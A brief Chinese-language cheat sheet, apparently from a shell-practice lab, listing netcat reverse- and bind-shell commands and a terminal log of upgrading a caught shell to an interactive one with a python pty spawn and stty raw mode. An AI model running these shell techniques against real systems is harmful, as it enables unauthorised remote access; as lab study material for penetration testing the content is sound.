反向 SHELL

  1. $ nc -lvnp <port-number>

绑定 SHELL

  1. nc <target-ip> <chosen-port>

稳定 NC SHELL

netcat SHELL 在按下 Ctrl+C 时通常会终结当前 SHELL 会话

  • 弊端: 不知道怎么关
  1. ┌──(jtzJTZ)-[~]
  2. └─$ nc -nvlp 4444
  3. listening on [any] 4444 ...
  4. connect to [10.18.4.251] from (UNKNOWN) [10.10.40.0] 40816
  5. python3 -c 'import pty;pty.spawn("/bin/bash")' # 获取交互 SHELL
  6. shell@linux-shell-practice:~$ export TERM=xterm
  7. export TERM=xterm
  8. shell@linux-shell-practice:~$ ^Z # Ctrl+Z
  9. [1]+ Stopped nc -nvlp 4444
  10. ┌──(jtzJTZ)-[~]
  11. └─$ stty raw -echo; fg
  12. nc -nvlp 4444
  13. shell@linux-shell-practice:~$ ^C
  14. shell@linux-shell-practice:~$